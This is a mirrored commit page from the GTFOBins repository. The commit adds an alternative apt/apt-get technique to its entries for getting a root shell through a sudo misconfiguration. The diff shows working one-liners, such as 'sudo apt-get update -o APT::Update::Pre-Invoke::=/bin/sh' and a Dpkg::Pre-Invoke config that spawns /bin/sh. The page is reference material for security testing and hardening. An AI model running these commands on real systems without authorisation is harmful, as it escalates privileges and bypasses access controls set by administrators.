public-mirrors/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2024-12-25 06:19:27 +01:00
Code Issues Projects Releases Wiki Activity

Add alternative apt* shell technique

Browse Source 
Thanks to
https://lsdsecurity.com/2019/01/linux-privilege-escalation-using-apt-get-apt-dpkg-to-abuse-sudo-nopasswd-misconfiguration/

Also related to #38.
This commit is contained in:
Andrea Cardaci 2019-01-21 16:28:20 +01:00
parent 4fdaada820
commit 21f760676c
2 changed files with 4 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
_gtfobins/apt-get.md
View File

@ -15,4 +15,6 @@ functions:
TF=$(mktemp) TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt-get install -c $TF sl sudo apt-get install -c $TF sl
- description: When the shell exits the `update` command is actually executed.
code: sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
--- ---

2
_gtfobins/apt.md
View File

@ -15,4 +15,6 @@ functions:
TF=$(mktemp) TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt install -c $TF sl sudo apt install -c $TF sl
- description: When the shell exits the `update` command is actually executed.
code: sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
--- ---